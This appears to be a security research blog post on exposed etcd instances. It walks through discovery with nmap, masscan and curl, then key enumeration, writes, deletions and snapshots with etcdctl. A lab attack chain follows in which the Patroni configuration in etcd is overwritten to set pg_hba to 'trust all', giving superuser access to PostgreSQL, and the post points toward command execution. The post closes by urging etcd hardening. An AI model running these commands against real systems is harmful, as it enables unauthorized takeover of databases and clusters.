During my research on Kubernetes security, I realized that etcd is not merely a backend datastore for Kubernetes. Etcd is a distributed key-value store widely adopted by many systems that require strong consistency and reliable state management.
Kubernetes is just one of its most popular users, but far from the only one. Beyond Kubernetes, etcd is used by various platforms and services for service discovery, configuration management, leader election, and coordination in distributed systems.
In practice, etcd is frequently treated as a trusted internal component. In real-world deployments, it is not uncommon to find etcd instances that:
- Run without authentication
- Do not enforce TLS
- Are reachable from overly permissive internal networks
- Or, in some cases, are exposed directly to the internet
This assumption is dangerous. Access to etcd often means access to the entire system state. In Kubernetes environments, compromising etcd can lead to secret disclosure, workload manipulation, and even full cluster takeover, without ever interacting with the Kubernetes API Server.
Etcd Attack Surface
Etcd acts as the single source of truth for distributed systems. Any client that can interact with the etcd API can directly read or modify system state.
From an attacker’s perspective, only a small part of etcd actually matters.
Client API
- API v3 (Current): uses gRPC protocol and requires base64 encoding for keys
- API v2 (deprecated): The v2 API is simpler with direct JSON responses, though deprecated it's still widely used
- Default port:
2379 - Used by Kubernetes, applications, and attackers
- Primary interface for enumeration and exploitation
If this endpoint is reachable, etcd is reachable.
Peer Communication
- Raft replication traffic between etcd members
- Default port:
2380
Storage Backend / Snapshots
- BoltDB-based on-disk storage
- Contains the full key-value state, including secrets
- Often backed up or snapshotted
Access to a snapshot file equals full offline compromise.
Security Controls (Optional)
- TLS for client and peer traffic
- Client certificate authentication
- etcd RBAC
These controls are optional, frequently misconfigured, and sometimes disabled entirely.
Finding etcd
Network-Level Discovery
The first indicator is an open etcd client port.
nmap -p 2379,2380 <target>
An exposed 2379 is usually enough to continue.
In larger environments, etcd often appears during broad scans:
masscan -p2379 10.0.0.0/8 --rate 10000
HTTP-Based Fingerprinting
Although etcd v3 uses gRPC, several HTTP endpoints are usually exposed and are ideal for quick fingerprinting.
curl http://<target>:2379/health
curl http://<target>:2379/version
Typical responses confirm:
- Etcd is running
- Version information
Confirming Read Access
A quick read test can confirm whether the etcd API is usable:
ETCDCTL_API=3 etcdctl \
--endpoints=http://<etcd-ip>:2379 \
get / --prefix --keys-only
If this succeeds, the attacker can enumerate the full keyspace.
At this point, etcd is no longer a discovery target, it is an exploitation surface.
Interacting with etcd
Once an etcd endpoint is reachable, the next step is to interact with it directly. All interactions happen through the etcd client interface.This is done using etcdctl, the official command-line client.
Basic connectivity check:
etcdctl --endpoints=http://<etcd-ip>:2379 endpoint status
A successful response confirms:
- The endpoint is valid
- The node is part of an active cluster
- The cluster is responsive
Reading Keys
Etcd stores data as key-value pairs. There is no concept of namespaces or permissions unless explicitly configured.
List all keys:
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only
This command alone often reveals:
- Application names
- Cluster identifiers
- Service topology
- Control-plane structures
To read a specific key:
etcdctl --endpoints=http://<etcd-ip>:2379 get /path/to/key
Understanding Key Structure
Most applications organize keys hierarchically using prefixes.
Common patterns:
/service/<name>//config/<app>//members//leader
For Kubernetes-backed etcd, keys typically appear under:
/registry/
For other systems (such as Patroni), keys usually expose:
- Current leader
- Member list
- Cluster configuration
Key names alone often provide enough context to understand system behavior.
Reading Values
By default, values are returned as raw bytes. For inspection:
etcdctl --endpoints=http://<etcd-ip>:2379 get /path/to/key --print-value-only
In many environments, values are:
- JSON
- YAML
- Base64-encoded blobs
Write Access and Its Implications
Write access dramatically changes the impact.
A simple write operation:
etcdctl --endpoints=http://<etcd-ip>:2379 put /test/key "test"
If this succeeds, the attacker can:
- Modify application behavior
- Change leadership state
- Inject configuration
- Persist changes beyond restarts
Unlike application APIs, etcd does not validate intent, only structure.
Deleting Keys
etcdctl --endpoints=http://<etcd-ip>:2379 del /path/to/key
Deleting leader or state keys can:
- Trigger failovers
- Cause service instability
- Disrupt availability
In HA systems, this is often enough to create cascading failures.
Example: Insecure etcd Configuration
The configuration below represents a common real-world etcd misconfiguration found in self-managed HA environments.
--listen-peer-urls http://192.168.122.48:2380 \
--initial-advertise-peer-urls http://192.168.122.48:2380 \
--listen-client-urls http://192.168.122.48:2379,http://127.0.0.1:2379 \
--advertise-client-urls http://192.168.122.48:2379 \
--initial-cluster pg-1=http://192.168.122.48:2380,pg-2=http://192.168.122.24:2380,pg-3=http://192.168.122.65:2380 \
--initial-cluster-state new
The etcd client interface is explicitly bound to a non-loopback IP address and exposed over plain HTTP. This makes the etcd client API reachable from the network without encryption. No TLS, no client authentication, and no access control are enforced.
The peer communication is also exposed over HTTP. While this port is primarily used for Raft replication, exposing it without TLS increases the attack surface and enables cluster-level disruption if abused.
Example Attack Chains: Patroni with ETCD
This section demonstrates a real-world attack chain observed in a PostgreSQL HA environment using Patroni with etcd as its Distributed Configuration Store (DCS). The attack does not rely on PostgreSQL vulnerabilities, but on etcd misconfiguration.
Patroni is a high-availability (HA) solution for PostgreSQL that automates leader election, replication management, and failover. Instead of relying on local configuration alone, Patroni uses a Distributed Configuration Store (DCS) such as etcd to coordinate cluster state.
This means critical PostgreSQL behavior — including leadership status, cluster membership, and dynamic configuration — is controlled externally through etcd. If an attacker can modify the data stored in etcd, they can indirectly influence how PostgreSQL nodes behave without logging into the database servers themselves.
The following attack chain demonstrates how a misconfigured etcd instance can be abused to compromise a Patroni-managed PostgreSQL cluster, even when PostgreSQL authentication and network restrictions are properly enforced.
Step 1: Initial Service Enumeration
The first indication of a PostgreSQL deployment is an open database port:
$ nmap -p 2379,2380 192.168.122.48
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 19:43 +0700
Nmap scan report for 192.168.122.48
Host is up (0.00026s latency).
PORT STATE SERVICE
2379/tcp open etcd-client
2380/tcp open etcd-server
$ nmap --top-ports 100 192.168.122.48
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 19:43 +0700
Nmap scan report for 192.168.122.48
Host is up (0.00013s latency).
Not shown: 97 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5432/tcp open postgresql
The port is reachable, but direct authentication fails:
$ psql -h 192.168.122.48 -p 5432 -U postgres postgres
psql: error: connection to server at "192.168.122.48", port 5432 failed: FATAL: pg_hba.conf rejects connection for host "192.168.122.1", user "postgres", database "postgres", SSL encryption
connection to server at "192.168.122.48", port 5432 failed: FATAL: no pg_hba.conf entry for host "192.168.122.1", user "postgres", database "postgres", no encryption
Access is denied by pg_hba.conf, indicating that PostgreSQL itself is properly protected.
At this stage, direct database access is not possible.
Step 2: Discovering Anonymous etcd Access
Further enumeration reveals an accessible etcd endpoint:
curl http://<etcd-ip>:2379/health
Interaction with etcd succeeds without authentication.
Listing keys confirms that etcd is being used by Patroni:
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix
/db/postgres-ha/config
{"loop_wait": 10, "maximum_lag_on_failover": 1048576, "postgresql": {"parameters": {"hot_standby": "on", "max_replication_slots": 10, "max_wal_senders": 10, "wal_keep_size": "256MB", "wal_level": "replica"}, "pg_hba": ["local all all peer", "hostssl all all 127.0.0.1/32 trust", "hostssl all postgres 192.168.122.48/32 trust", "hostssl all postgres 192.168.122.24/32 trust", "hostssl all postgres 192.168.122.65/32 trust", "hostssl replication replicator 192.168.122.48/32 scram-sha-256", "hostssl replication replicator 192.168.122.24/32 scram-sha-256", "hostssl replication replicator 192.168.122.65/32 scram-sha-256", "hostssl all all 192.168.122.66/32 scram-sha-256", "hostssl all all all reject"], "use_pg_rewind": true}, "retry_timeout": 10, "ttl": 30}
/db/postgres-ha/history
[[1,24327672,"no recovery target specified","2026-01-24T12:27:45.430845+00:00","pg-1"],[2,84088600,"no recovery target specified","2026-01-24T13:48:26.697265+00:00","pg-2"],[3,84089000,"no recovery target specified","2026-01-24T13:53:57.148218+00:00","pg-1"],[4,84089400,"no recovery target specified","2026-01-24T14:04:47.354177+00:00","pg-2"],[5,84089800,"no recovery target specified","2026-01-24T14:04:57.678303+00:00","pg-2"]]
/db/postgres-ha/initialize
7598903785873868095
/db/postgres-ha/leader
pg-2
/db/postgres-ha/members/pg-1
{"conn_url":"postgres://192.168.122.48:5432/postgres","api_url":"http://192.168.122.48:8008/patroni","state":"running","role":"replica","version":"3.2.2","xlog_location":84090080,"replication_state":"streaming","timeline":6}
/db/postgres-ha/members/pg-2
{"conn_url":"postgres://192.a168.122.24:5432/postgres","api_url":"http://192.168.122.24:8008/patroni","state":"running","role":"master","version":"3.2.2","xlog_location":84090080,"timeline":6}
/db/postgres-ha/members/pg-3
{"conn_url":"postgres://192.168.122.65:5432/postgres","api_url":"http://192.168.122.65:8008/patroni","state":"running","role":"replica","version":"3.2.2","xlog_location":84090080,"replication_state":"streaming","timeline":6}
/db/postgres-ha/status
{"optime":84090080}
Typical Patroni key structures are visible, including cluster configuration and member state. This confirms that PostgreSQL behavior is controlled externally via etcd.
Step 3: Accessing etcd Data (Backup / Snapshot)
At this point, the attacker can safely:
- Dump all keys for offline analysis, or
- Create an etcd snapshot
Example:
etcdctl --endpoints=http://<etcd-ip>:2379 snapshot save patroni.db
This allows full inspection of the Patroni configuration without touching the database directly.
Step 4: Modifying Patroni Configuration via etcd
The critical finding is that Patroni reads its runtime configuration from etcd.
By modifying the configuration stored under the Patroni namespace (e.g. /db/postgres-ha/config), the attacker can alter PostgreSQL behavior.
The pg_hba.conf rules are overwritten to allow unrestricted local or remote access.
$ etcdctl --endpoints=http://<etcd-ip>:2379 put /db/postgres-ha/config '{"loop_wait": 10, "maximum_lag_on_failover": 1048576, "postgresql": {"parameters": {"hot_standby": "on", "max_replication_slots": 10, "max_wal_senders": 10, "wal_keep_size": "256MB", "wal_level": "replica"}, "pg_hba": ["local all all peer", "hostssl all all 127.0.0.1/32 trust", "hostssl all postgres 192.168.122.48/32 trust", "hostssl all postgres 192.168.122.24/32 trust", "hostssl all postgres 192.168.122.65/32 trust", "hostssl replication replicator 192.168.122.48/32 scram-sha-256", "hostssl replication replicator 192.168.122.24/32 scram-sha-256", "hostssl replication replicator 192.168.122.65/32 scram-sha-256", "hostssl all all 192.168.122.66/32 scram-sha-256", "hostssl all all all trust"], "use_pg_rewind": true}, "retry_timeout": 10, "ttl": 30}'
OK
Example impact:
- Authentication is disabled or weakened
- PostgreSQL reloads configuration automatically
- No direct access to the database host is required
All changes are made entirely through etcd.
Step 5: Database Access Without Authentication
With the modified configuration applied, PostgreSQL now accepts connections:
psql -h <target> -U postgres postgres
psql (18.1, server 16.11 (Ubuntu 16.11-0ubuntu0.24.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.
postgres=#
No password or trusted network is required.
The attacker now has superuser access to the database.
Step 6: Remote Code Execution via PostgreSQL
With superuser privileges, PostgreSQL becomes a code execution primitive.
One common technique is abusing the COPY command to write files or execute commands (depending on system configuration):
- Writing to writable directories
- Dropping malicious files
- Executing commands via extensions or OS interaction
At this stage, the compromise escalates from control-plane manipulation to host-level impact.
Conclusion
Etcd is rarely treated as a frontline security boundary. It is often deployed as a supporting component ,something that “just works” in the background of distributed systems. This assumption is exactly what makes it dangerous.
Throughout this article, we saw that etcd is not just a datastore. It is a control layer. Systems like Kubernetes, Patroni, and many other distributed platforms rely on it as a source of truth. When etcd is exposed or misconfigured, attackers do not need to exploit the application, the database, or the orchestration layer. They only need to rewrite the state those systems trust.
The attack chain against Patroni-backed PostgreSQL highlights this clearly. PostgreSQL authentication was correctly enforced. Network access was restricted. Yet, by interacting directly with etcd, it was possible to modify database configuration, bypass access controls, and escalate toward full system compromise. The database was not broken — its control plane was.
This pattern repeats across environments. Etcd is often reachable from broad internal networks, deployed without authentication, or backed up without encryption. It becomes a silent single point of failure where compromise does not look like an intrusion, but like normal system behavior.
The key takeaway is simple:
If you can reach etcd, you can often control the system that depends on it.
Securing applications while leaving etcd exposed creates a false sense of security. Proper isolation, authentication, encryption, and monitoring of etcd are not optional hardening steps — they are fundamental requirements for protecting any system that relies on it.
